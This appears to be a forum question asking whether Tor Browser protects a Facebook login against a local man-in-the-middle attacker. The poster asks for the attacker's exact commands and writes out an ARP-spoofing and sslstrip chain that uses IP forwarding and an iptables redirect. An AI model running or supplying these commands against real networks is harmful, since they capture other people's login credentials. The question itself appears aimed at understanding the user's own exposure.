Do I have to fear a local man-in-the-middle attacker while entering password with tor?
Say a victim is connecting to Facebook with tor Browser.
How would an attacker build a man-in-the-middle attack that get its password? (what precise commands)
If no proxy is used, the attacker would use
echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 54321 sslstrip -l 54321 arpspoof -i eth0 -t < targetIP > < gatewayIP > arpspoof -i eth0 -t < gatewayIP > < targetIP>